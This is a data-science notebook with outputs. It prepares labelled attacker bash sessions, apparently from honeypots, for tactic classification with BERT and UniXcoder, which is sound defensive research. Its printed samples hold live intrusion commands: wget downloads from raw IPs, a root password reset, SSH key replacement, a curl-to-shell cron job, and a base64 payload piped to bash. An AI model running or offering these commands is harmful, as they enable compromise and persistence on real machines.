import numpy as np
import pandas as pd
import matplotlib.pyplot as plt
import torch
import torch.nn as nn
import torch.optim as optim
from sklearn.datasets import make_circles
from sklearn.model_selection import train_test_split
from sklearn.preprocessing import LabelEncoder, StandardScaler
from torch.utils.data import DataLoader, TensorDataset,Dataset
from sklearn.metrics import accuracy_score, confusion_matrix, ConfusionMatrixDisplay, precision_score, f1_score, recall_score
from scipy.io.arff import loadarff
import seaborn as sns
import time
from sklearn.utils.class_weight import compute_class_weight
import json
from sklearn.feature_extraction.text import CountVectorizer
from collections import Counter
import torch.nn as nn
import torch.nn.functional as F
from collections import Counter
from transformers import *
from datasets import Dataset, DatasetDict
from sklearn.model_selection import train_test_split
import matplotlib.pyplot as plt
from transformers import DataCollatorForTokenClassification
from transformers import get_scheduler
from torch.optim import AdamW
from torch import cuda
from sklearn.metrics import f1_score, precision_score, recall_score, accuracy_score
from itertools import chain
from copy import deepcopy
from tqdm.auto import tqdm
from torch.nn import CrossEntropyLoss
from sklearn.metrics import classification_report
# ************************************* TASK1 *************************************
# PREPROCESSING
# Loading Train Set and Test Set
train_df = pd.read_json("train.json")
test_df = pd.read_json("test.json")
# Check for duplicates
train_df["label_tuple"] = train_df["label"].apply(tuple)
test_df["label_tuple"] = test_df["label"].apply(tuple)
train_dup = train_df.duplicated(subset=['session','label_tuple']).sum()
print("\nTrain df duplicates rows:", train_dup) #result: 0 duplicates
test_dup = test_df.duplicated(subset=['session','label_tuple']).sum()
print("\nTest df duplicates rows:", test_dup) #result: 0 duplicates
train_df = train_df.drop_duplicates(subset=['session','label_tuple'])
test_df = test_df.drop_duplicates(subset=['session','label_tuple'])
train_df = train_df.drop(columns=["label_tuple"])
test_df = test_df.drop(columns=["label_tuple"])
train_df = train_df.reset_index(drop=True)
test_df = test_df.reset_index(drop=True)
print(train_df.describe())
print(test_df.describe())
# Check for null values
train_null_values = train_df.isnull().sum()
print("\nTrain df null values per column:\n", train_null_values) #results: 0
test_null_values = test_df.isnull().sum()
print("\nTrain df null values per column:\n", test_null_values) #results: 0
# Print the dataset
print("TRAIN: \n")
print(train_df)
print("TEST: \n")
print(test_df)
# EXPLORE THE LABELS
train_tags = list(train_df.label.explode().unique())
test_tags = test_df.label.explode().unique()
#We have 7 different tags (and they are the same for train and test)
print(f"In the train_df we have {len(train_tags)} and they are: {sorted(train_tags)}")
print(f"In the test_df we have {len(test_tags)} and they are: {sorted(test_tags)}")
# How many bash words are assigned per tag
def count_bash_words_by_tag(dataset):
total_counts = Counter()
for index, entry in dataset.iterrows():
session = entry["session"]
labels = entry["label"]
words = session.split(" ")
for word, tag in zip(words, labels):
total_counts[tag] += 1
print("Ending the function")
return total_counts
train_counts = count_bash_words_by_tag(train_df)
print("\nHow many bash words are assigned per tag in the train_df")
print(train_counts)
print("\nHow many bash words are assigned per tag in the test_df")
test_count = count_bash_words_by_tag(test_df)
print(test_count)
# Plotting a barplot
all_tags = set(train_counts.keys())
plot_data = pd.DataFrame({
'Tag': list(all_tags),
'Train': [train_counts.get(tag, 0) for tag in all_tags],
'Test': [test_count.get(tag, 0) for tag in all_tags]
})
plot_data = plot_data.sort_values(by="Train", ascending=False)
x = range(len(plot_data))
plt.figure(figsize=(12, 6))
bar_width = 0.35
plt.bar(x, plot_data['Train'], width=bar_width, label='Train', color='skyblue')
plt.bar([i + bar_width for i in x], plot_data['Test'], width=bar_width, label='Test', color='salmon')
plt.xlabel("Tags")
plt.ylabel("Number of Bash Words")
plt.title("Distribution of Tags by Bash Words (Train vs Test)")
plt.xticks([i + bar_width / 2 for i in x], plot_data['Tag'], rotation=45)
plt.legend()
plt.tight_layout()
plt.show()
/usr/local/lib/python3.12/dist-packages/jieba/__init__.py:44: SyntaxWarning: invalid escape sequence '\.'
re_han_default = re.compile("([\u4E00-\u9FD5a-zA-Z0-9+#&\._%\-]+)", re.U)
/usr/local/lib/python3.12/dist-packages/jieba/__init__.py:46: SyntaxWarning: invalid escape sequence '\s'
re_skip_default = re.compile("(\r\n|\s)", re.U)
/usr/local/lib/python3.12/dist-packages/jieba/finalseg/__init__.py:78: SyntaxWarning: invalid escape sequence '\.'
re_skip = re.compile("([a-zA-Z0-9]+(?:\.\d+)?%?)")
GroupViT models are not usable since `tensorflow_probability` can't be loaded. It seems you have `tensorflow_probability` installed with the wrong tensorflow version.Please try to reinstall it following the instructions here: https://github.com/tensorflow/probability.
TAPAS models are not usable since `tensorflow_probability` can't be loaded. It seems you have `tensorflow_probability` installed with the wrong tensorflow version. Please try to reinstall it following the instructions here: https://github.com/tensorflow/probability.
Train df duplicates rows: 0
Test df duplicates rows: 0
session \
count 251
unique 251
top rm -rf /var/run/1sh ; wget -c http://71.127.14...
freq 1
label
count 251
unique 141
top [Execution, Execution, Execution, Execution, E...
freq 12
session \
count 108
unique 108
top cd /tmp || cd /run || cd / ; wget http://93.11...
freq 1
label
count 108
unique 75
top [Execution, Execution, Execution, Execution, E...
freq 8
Train df null values per column:
session 0
label 0
dtype: int64
Train df null values per column:
session 0
label 0
dtype: int64
TRAIN:
session \
0 rm -rf /var/run/1sh ; wget -c http://71.127.14...
1 cat /proc/cpuinfo | grep name | wc -l ; echo r...
2 cd /tmp || cd /var/run || cd /mnt || cd /root ...
3 ls -la /dev/ttyGSM* /var/spool/sms/* /var/log/...
4 cat /var/tmp/.systemcache436621 ; echo 1 > /va...
.. ...
246 wget -O /tmp/linux http://58.218.66.87:8080/li...
247 enable ; system ; shell ; sh ; cat /proc/mount...
248 uname -a ; cd /tmp ; wget http://www.studyonaz...
249 cat /proc/cpuinfo | grep name | wc -l ; echo r...
250 echo -e "*/3 * * * * root (curl -fsSL $url/xms...
label
0 [Execution, Execution, Execution, Execution, E...
1 [Discovery, Discovery, Discovery, Discovery, D...
2 [Execution, Execution, Execution, Execution, E...
3 [Discovery, Discovery, Discovery, Discovery, D...
4 [Discovery, Discovery, Discovery, Discovery, D...
.. ...
246 [Not Malicious Yet, Not Malicious Yet, Not Mal...
247 [Discovery, Discovery, Discovery, Discovery, D...
248 [Execution, Execution, Execution, Execution, E...
249 [Discovery, Discovery, Discovery, Discovery, D...
250 [Execution, Execution, Execution, Execution, E...
[251 rows x 2 columns]
TEST:
session \
0 cd /tmp || cd /run || cd / ; wget http://93.11...
1 cat /proc/cpuinfo | grep name | wc -l ; echo -...
2 echo -en \\x00\\x6a\\x60\\x34\\x32\\x37\\x37\\...
3 cat /proc/cpuinfo | grep name | wc -l ; echo 3...
4 sudo hive-passwd 1hj51gh11g4611234ggg12233g4hg...
.. ...
103 /bin/busybox echo -en '\\x78\\x00\\x00\\x00\\x...
104 cd ~ && rm -rf .ssh && mkdir .ssh && echo ssh-...
105 LC_ALL=C cat /etc/rc.local /etc/rc.d/rc.local ...
106 scp -t /tmp/INp6QaaO ; cd /tmp && chmod +x INp...
107 cat /proc/cpuinfo | grep name | wc -l ; echo r...
label
0 [Execution, Execution, Execution, Execution, E...
1 [Discovery, Discovery, Discovery, Discovery, D...
2 [Not Malicious Yet, Not Malicious Yet, Not Mal...
3 [Discovery, Discovery, Discovery, Discovery, D...
4 [Persistence, Persistence, Persistence, Persis...
.. ...
103 [Not Malicious Yet, Not Malicious Yet, Not Mal...
104 [Persistence, Persistence, Persistence, Persis...
105 [Discovery, Discovery, Discovery, Discovery, D...
106 [Execution, Execution, Execution, Execution, E...
107 [Discovery, Discovery, Discovery, Discovery, D...
[108 rows x 2 columns]
In the train_df we have 7 and they are: ['Defense Evasion', 'Discovery', 'Execution', 'Impact', 'Not Malicious Yet', 'Other', 'Persistence']
In the test_df we have 7 and they are: ['Defense Evasion', 'Discovery', 'Execution', 'Impact', 'Not Malicious Yet', 'Other', 'Persistence']
Ending the function
How many bash words are assigned per tag in the train_df
Counter({'Discovery': 6009, 'Execution': 3239, 'Persistence': 1133, 'Impact': 312, 'Defense Evasion': 309, 'Not Malicious Yet': 264, 'Other': 209})
How many bash words are assigned per tag in the test_df
Ending the function
Counter({'Discovery': 3307, 'Execution': 1568, 'Persistence': 683, 'Defense Evasion': 218, 'Not Malicious Yet': 212, 'Impact': 133, 'Other': 76})
# EXPLORE A SINGLE BASH COMMAND
def explore_bash_command_echo(dataset):
echo = Counter()
ex_session = {}
found = True
for index, entry in dataset.iterrows():
ex_session_tag = []
session = entry["session"]
labels = entry["label"]
words = session.split(" ")
for word, tag in zip(words, labels):
if word == 'echo':
echo[tag] += 1
if (tag == 'Persistence' or tag == 'Execution') and tag not in ex_session_tag:
ex_session_tag.append(tag)
if len(ex_session_tag) == 2 and found:
found = False
ex_session['index'] = index
ex_session['session'] = session
ex_session['label'] = labels
print("Ending the function")
return echo,ex_session
diff_tags_for_echo, ex_session = explore_bash_command_echo(train_df)
print(f"\nFor echo we have the following different tags: {diff_tags_for_echo.keys()}")
print(f"\nHow many times per tag?: {diff_tags_for_echo}\n")
print(f"\nExample of session where echo is assigned both to Persistence and Execution: {ex_session}")
Ending the function
For echo we have the following different tags: dict_keys(['Persistence', 'Discovery', 'Execution', 'Other', 'Not Malicious Yet', 'Impact'])
How many times per tag?: Counter({'Persistence': 104, 'Execution': 39, 'Discovery': 31, 'Not Malicious Yet': 8, 'Impact': 6, 'Other': 4})
Example of session where echo is assigned both to Persistence and Execution: {'index': 28, 'session': 'cat /proc/cpuinfo | grep name | wc -l ; echo root:JrBOFLr9oFxB | chpasswd | bash ; echo 321 > /var/tmp/.var03522123 ; rm -rf /var/tmp/.var03522123 ; cat /var/tmp/.var03522123 | head -n 1 ; cat /proc/cpuinfo | grep name | head -n 1 | awk {print $4,$5,$6,$7,$8,$9;} ; free -m | grep Mem | awk {print $2 ,$3, $4, $5, $6, $7} ; ls -lh $which ls ; which ls ; crontab -l ; w ; uname -m ; cat /proc/cpuinfo | grep model | grep name | wc -l ; top ; uname ; uname -a ; lscpu | grep Model ; rm -rf /var/tmp/dota* ; cat /var/tmp/.systemcache436621 ; echo 1 > /var/tmp/.systemcache436621 ; cat /var/tmp/.systemcache436621 ; sleep 15s && cd /var/tmp ; echo IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKbWtkaXIgLlgxMy11bml4CmNkIC5YMTMtdW5peAptdiAvdmFyL3RtcC9kb3RhLnRhci5neiBkb3RhLnRhci5negp0YXIgeGYgZG90YS50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDEzLXVuaXgvLnJzeW5jL2MKbm9odXAgL3RtcC8uWDEzLXVuaXgvLnJzeW5jL2MvdHNtIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE3Mi4xNiA+PiAvZGV2L251bGwgMj4xJgpzbGVlcCA4bTsgbm9odXAgL3RtcC8uWDEzLXVuaXgvLnJzeW5jL2MvdHNtIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgMjBtICYmIGNkIC90bXAvLlgxMy11bml4LyAmJiBjYXQgL3RtcC8uWDEzLXVuaXgvLnJzeW5jL2luaXRhbGwgfCBiYXNoIDI+MSYKZXhpdCAw | base64 --decode | bash ;', 'label': ['Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Persistence', 'Persistence', 'Persistence', 'Persistence', 'Persistence', 'Persistence', 'Persistence', 'Persistence', 'Persistence', 'Persistence', 'Persistence', 'Persistence', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Execution', 'Execution', 'Execution', 'Execution', 'Execution', 'Execution', 'Execution', 'Execution', 'Execution', 'Execution', 'Execution', 'Execution', 'Execution', 'Execution', 'Execution', 'Execution', 'Execution', 'Execution', 'Execution', 'Execution', 'Execution', 'Execution', 'Execution', 'Execution', 'Execution', 'Execution', 'Execution', 'Execution', 'Execution']}
# EXPLORE THE BASH WORDS
def compute_word_counts(dataset):
word_counts = []
for i, entry in dataset.iterrows():
session = entry["session"]
words = session.split(" ")
word_counts.append(len(words))
return word_counts
# Compute word counts
train_word_counts = compute_word_counts(train_df)
test_word_counts = compute_word_counts(test_df)
# ECDF Function
def ecdf(data):
x = np.sort(data)
y = np.arange(1, len(x)+1) / len(x)
return x, y
# Plot ECDF
x_train, y_train = ecdf(train_word_counts)
x_test, y_test = ecdf(test_word_counts)
plt.figure(figsize=(10, 6))
plt.plot(x_train, y_train, marker='.', linestyle='none', label='Train')
plt.plot(x_test, y_test, marker='.', linestyle='none', label='Test', color='orange')
plt.xlabel('Number of Bash Words per Session')
plt.ylabel('ECDF')
plt.title('ECDF of Bash Words per Session (Train vs Test)')
plt.legend()
plt.grid(True)
plt.tight_layout()
plt.show()
# ************************************* TASK2 *************************************
# TOKENIZE COMMANDS
commands = ['cat','shell','echo','top','chpasswd','crontab','wget','busybox','grep']
# Import the tokenizer
model1 = "google-bert/bert-base-uncased"
model2 = "microsoft/unixcoder-base"
tokenizer1 = AutoTokenizer.from_pretrained(model1)
tokenizer2 = AutoTokenizer.from_pretrained(model2)
# Tokenize with both
bert_tokens = [tokenizer1.tokenize(cmd) for cmd in commands]
unixcoder_tokens = [tokenizer2.tokenize(cmd) for cmd in commands]
print(bert_tokens)
print(unixcoder_tokens)
print("BERT tokens per command:")
for cmd, toks in zip(commands, bert_tokens):
print(f"{cmd}: {toks} -> {len(toks)}")
print("\nUnixCoder tokens per command:")
for cmd, toks in zip(commands, unixcoder_tokens):
print(f"{cmd}: {toks} -> {len(toks)}")
bert_ratio = sum(len(t) for t in bert_tokens) / len(commands)
unix_ratio = sum(len(t) for t in unixcoder_tokens) / len(commands)
print(f"\nAverage BERT token/word ratio: {bert_ratio:.2f}")
print(f"Average UnixCoder token/word ratio: {unix_ratio:.2f}")
/usr/local/lib/python3.12/dist-packages/huggingface_hub/utils/_auth.py:94: UserWarning: The secret `HF_TOKEN` does not exist in your Colab secrets. To authenticate with the Hugging Face Hub, create a token in your settings tab (https://huggingface.co/settings/tokens), set it as secret in your Google Colab and restart your session. You will be able to reuse this secret in all of your notebooks. Please note that authentication is recommended but still optional to access public models or datasets. warnings.warn(
loading configuration file config.json from cache at /root/.cache/huggingface/hub/models--google-bert--bert-base-uncased/snapshots/86b5e0934494bd15c9632b12f734a8a67f723594/config.json
Model config BertConfig {
"architectures": [
"BertForMaskedLM"
],
"attention_probs_dropout_prob": 0.1,
"classifier_dropout": null,
"gradient_checkpointing": false,
"hidden_act": "gelu",
"hidden_dropout_prob": 0.1,
"hidden_size": 768,
"initializer_range": 0.02,
"intermediate_size": 3072,
"layer_norm_eps": 1e-12,
"max_position_embeddings": 512,
"model_type": "bert",
"num_attention_heads": 12,
"num_hidden_layers": 12,
"pad_token_id": 0,
"position_embedding_type": "absolute",
"transformers_version": "4.55.2",
"type_vocab_size": 2,
"use_cache": true,
"vocab_size": 30522
}
loading file vocab.txt from cache at /root/.cache/huggingface/hub/models--google-bert--bert-base-uncased/snapshots/86b5e0934494bd15c9632b12f734a8a67f723594/vocab.txt
loading file tokenizer.json from cache at /root/.cache/huggingface/hub/models--google-bert--bert-base-uncased/snapshots/86b5e0934494bd15c9632b12f734a8a67f723594/tokenizer.json
loading file added_tokens.json from cache at None
loading file special_tokens_map.json from cache at None
loading file tokenizer_config.json from cache at /root/.cache/huggingface/hub/models--google-bert--bert-base-uncased/snapshots/86b5e0934494bd15c9632b12f734a8a67f723594/tokenizer_config.json
loading file chat_template.jinja from cache at None
loading configuration file config.json from cache at /root/.cache/huggingface/hub/models--google-bert--bert-base-uncased/snapshots/86b5e0934494bd15c9632b12f734a8a67f723594/config.json
Model config BertConfig {
"architectures": [
"BertForMaskedLM"
],
"attention_probs_dropout_prob": 0.1,
"classifier_dropout": null,
"gradient_checkpointing": false,
"hidden_act": "gelu",
"hidden_dropout_prob": 0.1,
"hidden_size": 768,
"initializer_range": 0.02,
"intermediate_size": 3072,
"layer_norm_eps": 1e-12,
"max_position_embeddings": 512,
"model_type": "bert",
"num_attention_heads": 12,
"num_hidden_layers": 12,
"pad_token_id": 0,
"position_embedding_type": "absolute",
"transformers_version": "4.55.2",
"type_vocab_size": 2,
"use_cache": true,
"vocab_size": 30522
}
loading file vocab.json from cache at /root/.cache/huggingface/hub/models--microsoft--unixcoder-base/snapshots/5604afdc964f6c53782a6813140ade5216b99006/vocab.json loading file merges.txt from cache at /root/.cache/huggingface/hub/models--microsoft--unixcoder-base/snapshots/5604afdc964f6c53782a6813140ade5216b99006/merges.txt loading file tokenizer.json from cache at None loading file added_tokens.json from cache at None loading file special_tokens_map.json from cache at /root/.cache/huggingface/hub/models--microsoft--unixcoder-base/snapshots/5604afdc964f6c53782a6813140ade5216b99006/special_tokens_map.json loading file tokenizer_config.json from cache at /root/.cache/huggingface/hub/models--microsoft--unixcoder-base/snapshots/5604afdc964f6c53782a6813140ade5216b99006/tokenizer_config.json loading file chat_template.jinja from cache at None
[['cat'], ['shell'], ['echo'], ['top'], ['ch', '##pass', '##wd'], ['cr', '##ont', '##ab'], ['w', '##get'], ['busy', '##box'], ['gr', '##ep']] [['cat'], ['shell'], ['echo'], ['top'], ['ch', 'passwd'], ['cr', 'ont', 'ab'], ['w', 'get'], ['busybox'], ['grep']] BERT tokens per command: cat: ['cat'] -> 1 shell: ['shell'] -> 1 echo: ['echo'] -> 1 top: ['top'] -> 1 chpasswd: ['ch', '##pass', '##wd'] -> 3 crontab: ['cr', '##ont', '##ab'] -> 3 wget: ['w', '##get'] -> 2 busybox: ['busy', '##box'] -> 2 grep: ['gr', '##ep'] -> 2 UnixCoder tokens per command: cat: ['cat'] -> 1 shell: ['shell'] -> 1 echo: ['echo'] -> 1 top: ['top'] -> 1 chpasswd: ['ch', 'passwd'] -> 2 crontab: ['cr', 'ont', 'ab'] -> 3 wget: ['w', 'get'] -> 2 busybox: ['busybox'] -> 1 grep: ['grep'] -> 1 Average BERT token/word ratio: 1.78 Average UnixCoder token/word ratio: 1.44
# TOKENIZE THE FULL TRAINING CORPUS
bert_tokenizer = AutoTokenizer.from_pretrained(model1, add_prefix_space=True)
unix_tokenizer = AutoTokenizer.from_pretrained(model2, add_prefix_space=True)
train_df, val_df = train_test_split(train_df, test_size=0.2, random_state=42)
# Convert the training DATAFRAME into an huggingface DATASET
train_ds = Dataset.from_pandas(train_df.reset_index(drop=True))
print(train_ds)
full_ds = DatasetDict(
{
"train": Dataset.from_pandas(train_df.reset_index(drop=True)),
"valid": Dataset.from_pandas(val_df.reset_index(drop=True)),
"test": Dataset.from_pandas(test_df.reset_index(drop=True)),
}
)
print(full_ds)
loading configuration file config.json from cache at /root/.cache/huggingface/hub/models--google-bert--bert-base-uncased/snapshots/86b5e0934494bd15c9632b12f734a8a67f723594/config.json
Model config BertConfig {
"architectures": [
"BertForMaskedLM"
],
"attention_probs_dropout_prob": 0.1,
"classifier_dropout": null,
"gradient_checkpointing": false,
"hidden_act": "gelu",
"hidden_dropout_prob": 0.1,
"hidden_size": 768,
"initializer_range": 0.02,
"intermediate_size": 3072,
"layer_norm_eps": 1e-12,
"max_position_embeddings": 512,
"model_type": "bert",
"num_attention_heads": 12,
"num_hidden_layers": 12,
"pad_token_id": 0,
"position_embedding_type": "absolute",
"transformers_version": "4.55.2",
"type_vocab_size": 2,
"use_cache": true,
"vocab_size": 30522
}
loading file vocab.txt from cache at /root/.cache/huggingface/hub/models--google-bert--bert-base-uncased/snapshots/86b5e0934494bd15c9632b12f734a8a67f723594/vocab.txt
loading file tokenizer.json from cache at /root/.cache/huggingface/hub/models--google-bert--bert-base-uncased/snapshots/86b5e0934494bd15c9632b12f734a8a67f723594/tokenizer.json
loading file added_tokens.json from cache at None
loading file special_tokens_map.json from cache at None
loading file tokenizer_config.json from cache at /root/.cache/huggingface/hub/models--google-bert--bert-base-uncased/snapshots/86b5e0934494bd15c9632b12f734a8a67f723594/tokenizer_config.json
loading file chat_template.jinja from cache at None
loading configuration file config.json from cache at /root/.cache/huggingface/hub/models--google-bert--bert-base-uncased/snapshots/86b5e0934494bd15c9632b12f734a8a67f723594/config.json
Model config BertConfig {
"architectures": [
"BertForMaskedLM"
],
"attention_probs_dropout_prob": 0.1,
"classifier_dropout": null,
"gradient_checkpointing": false,
"hidden_act": "gelu",
"hidden_dropout_prob": 0.1,
"hidden_size": 768,
"initializer_range": 0.02,
"intermediate_size": 3072,
"layer_norm_eps": 1e-12,
"max_position_embeddings": 512,
"model_type": "bert",
"num_attention_heads": 12,
"num_hidden_layers": 12,
"pad_token_id": 0,
"position_embedding_type": "absolute",
"transformers_version": "4.55.2",
"type_vocab_size": 2,
"use_cache": true,
"vocab_size": 30522
}
loading file vocab.json from cache at /root/.cache/huggingface/hub/models--microsoft--unixcoder-base/snapshots/5604afdc964f6c53782a6813140ade5216b99006/vocab.json
loading file merges.txt from cache at /root/.cache/huggingface/hub/models--microsoft--unixcoder-base/snapshots/5604afdc964f6c53782a6813140ade5216b99006/merges.txt
loading file tokenizer.json from cache at None
loading file added_tokens.json from cache at None
loading file special_tokens_map.json from cache at /root/.cache/huggingface/hub/models--microsoft--unixcoder-base/snapshots/5604afdc964f6c53782a6813140ade5216b99006/special_tokens_map.json
loading file tokenizer_config.json from cache at /root/.cache/huggingface/hub/models--microsoft--unixcoder-base/snapshots/5604afdc964f6c53782a6813140ade5216b99006/tokenizer_config.json
loading file chat_template.jinja from cache at None
Dataset({
features: ['session', 'label'],
num_rows: 200
})
DatasetDict({
train: Dataset({
features: ['session', 'label'],
num_rows: 200
})
valid: Dataset({
features: ['session', 'label'],
num_rows: 51
})
test: Dataset({
features: ['session', 'label'],
num_rows: 108
})
})
# 2. Obtain a dictionary that maps the labels into identifiers (Labels Encoder)
id2label = {it:label for it, label in enumerate(train_tags)}
label2id = {label:it for it, label in enumerate(train_tags)}
print(label2id)
{'Execution': 0, 'Discovery': 1, 'Persistence': 2, 'Defense Evasion': 3, 'Not Malicious Yet': 4, 'Other': 5, 'Impact': 6}
# Now that we identified the `label2id` dictionary, use the Dataset `map` function to map all `tags` into `numeric tags`!
def convert_labels_to_ids(sample):
sample['label_id'] = [label2id[el] for el in sample["label"]]
return sample
# Apply the mapping function to all splits of your dataset
encoded_dataset = full_ds.map(convert_labels_to_ids)
print(encoded_dataset)
DatasetDict({
train: Dataset({
features: ['session', 'label', 'label_id'],
num_rows: 200
})
valid: Dataset({
features: ['session', 'label', 'label_id'],
num_rows: 51
})
test: Dataset({
features: ['session', 'label', 'label_id'],
num_rows: 108
})
})
# Function that align labels with the tokens
def align_labels_with_tokens(labels, word_ids):
new_labels = []
current_word = None
for word_id in word_ids:
if word_id != current_word:
# Start of a new word or special token
current_word = word_id
# Use -100 for special tokens, otherwise use the original label
label = -100 if word_id is None else labels[word_id] # IT GIVES OUT OF RANGE ERROR
new_labels.append(label)
elif word_id is None:
# Special token (like [CLS], [SEP], etc.)
new_labels.append(-100)
else:
# Continuation token of the current word
# We assign the same label as the word
label = labels[word_id]
new_labels.append(label)
return new_labels
# Function that, for each sample, 1)Tokenize the input 2)Align tokens with the corresponding tags
def tokenize_and_align_labels_berta(samples):
# Remember: we need to split the sentences
split_sentences = [sentence.split(" ") for sentence in samples["session"]]
# Tokenize all examples in batch using the global tokenizer
tokenized_inputs = bert_tokenizer(
split_sentences,
truncation=True, # Truncate to max length if needed
is_split_into_words=True, # Input is already split into words
max_length=bert_tokenizer.model_max_length
)
# Extract all tags_id lists from the examples
all_tags = samples["label_id"]
new_labels = []
# Process each example's labels individually
for i, tags in enumerate(all_tags):
# Get word ID mapping for the current example
word_ids = tokenized_inputs.word_ids(i)
# Convert word-level tags to token-level tags
#print(f"\nTags{tags} and Word_ids {word_ids}")
aligned_labels = align_labels_with_tokens(tags, word_ids)
new_labels.append(aligned_labels)
# Add the aligned labels to the tokenized inputs
tokenized_inputs["labels"] = new_labels
return tokenized_inputs
def tokenize_and_align_labels_unix(samples):
# Remember: we need to split the sentences
split_sentences = [sentence.split(" ") for sentence in samples["session"]]
# Tokenize all examples in batch using the global tokenizer
tokenized_inputs = unix_tokenizer(
split_sentences,
truncation=True, # Truncate to max length if needed
is_split_into_words=True, # Input is already split into words
max_length=512
)
# Extract all tags_id lists from the examples
all_tags = samples["label_id"]
new_labels = []
# Process each example's labels individually
for i, tags in enumerate(all_tags):
# Get word ID mapping for the current example
word_ids = tokenized_inputs.word_ids(i)
# Convert word-level tags to token-level tags
aligned_labels = align_labels_with_tokens(tags, word_ids)
new_labels.append(aligned_labels)
# Add the aligned labels to the tokenized inputs
tokenized_inputs["labels"] = new_labels
return tokenized_inputs
original_columns = encoded_dataset["train"].column_names
berta_tokenized_datasets = encoded_dataset.map(
tokenize_and_align_labels_berta,
batched=True, # Can be performed in batches, in order to speed up times!
remove_columns=original_columns, # To remove the original columns
)
unix_tokenized_datasets = encoded_dataset.map(
tokenize_and_align_labels_unix,
batched=True, # Can be performed in batches, in order to speed up times!
remove_columns=original_columns, # To remove the original columns
)
print(berta_tokenized_datasets)
print(unix_tokenized_datasets)
DatasetDict({
train: Dataset({
features: ['input_ids', 'token_type_ids', 'attention_mask', 'labels'],
num_rows: 200
})
valid: Dataset({
features: ['input_ids', 'token_type_ids', 'attention_mask', 'labels'],
num_rows: 51
})
test: Dataset({
features: ['input_ids', 'token_type_ids', 'attention_mask', 'labels'],
num_rows: 108
})
})
DatasetDict({
train: Dataset({
features: ['input_ids', 'attention_mask', 'labels'],
num_rows: 200
})
valid: Dataset({
features: ['input_ids', 'attention_mask', 'labels'],
num_rows: 51
})
test: Dataset({
features: ['input_ids', 'attention_mask', 'labels'],
num_rows: 108
})
})
#EXAMPLES
EXAMPLE_ID = 190
print("\nEXAMPLE WITH BERTA TOKENIZED DATASET: \n")
print(f"EXAMPLE) Given the session: '{encoded_dataset['train'][EXAMPLE_ID]['session']}'")
example = berta_tokenized_datasets["train"][EXAMPLE_ID]
print(f'Tokens ({len(example["input_ids"])} elements): {[bert_tokenizer.convert_ids_to_tokens(input_id) for input_id in example["input_ids"]]}')
print(f'Tags ({len(example["labels"])} elements): {example["labels"]}')
print("\nEXAMPLE WITH UNIX TOKENIZED DATASET: \n")
print(f"EXAMPLE) Given the session: '{encoded_dataset['train'][EXAMPLE_ID]['session']}'")
example = unix_tokenized_datasets["train"][EXAMPLE_ID]
print(f'Tokens ({len(example["input_ids"])} elements): {[unix_tokenizer.convert_ids_to_tokens(input_id) for input_id in example["input_ids"]]}')
print(f'Tags ({len(example["labels"])} elements): {example["labels"]}')
EXAMPLE WITH BERTA TOKENIZED DATASET:
EXAMPLE) Given the session: 'cat /proc/cpuinfo | grep name | wc -l ; echo root:NPb3W95GP6wz | chpasswd | bash ; cat /proc/cpuinfo | grep name | head -n 1 | awk {print $4,$5,$6,$7,$8,$9;} ; free -m | grep Mem | awk {print $2 ,$3, $4, $5, $6, $7} ; ls -lh $which ls ; which ls ; crontab -l ; w ; uname -m ; cat /proc/cpuinfo | grep model | grep name | wc -l ; top ; uname ;'
Tokens (166 elements): ['[CLS]', 'cat', '/', 'pro', '##c', '/', 'cpu', '##in', '##fo', '|', 'gr', '##ep', 'name', '|', 'wc', '-', 'l', ';', 'echo', 'root', ':', 'np', '##b', '##3', '##w', '##9', '##5', '##gp', '##6', '##w', '##z', '|', 'ch', '##pass', '##wd', '|', 'bash', ';', 'cat', '/', 'pro', '##c', '/', 'cpu', '##in', '##fo', '|', 'gr', '##ep', 'name', '|', 'head', '-', 'n', '1', '|', 'aw', '##k', '{', 'print', '$', '4', ',', '$', '5', ',', '$', '6', ',', '$', '7', ',', '$', '8', ',', '$', '9', ';', '}', ';', 'free', '-', 'm', '|', 'gr', '##ep', 'me', '##m', '|', 'aw', '##k', '{', 'print', '$', '2', ',', '$', '3', ',', '$', '4', ',', '$', '5', ',', '$', '6', ',', '$', '7', '}', ';', 'l', '##s', '-', 'l', '##h', '$', 'which', 'l', '##s', ';', 'which', 'l', '##s', ';', 'cr', '##ont', '##ab', '-', 'l', ';', 'w', ';', 'una', '##me', '-', 'm', ';', 'cat', '/', 'pro', '##c', '/', 'cpu', '##in', '##fo', '|', 'gr', '##ep', 'model', '|', 'gr', '##ep', 'name', '|', 'wc', '-', 'l', ';', 'top', ';', 'una', '##me', ';', '[SEP]']
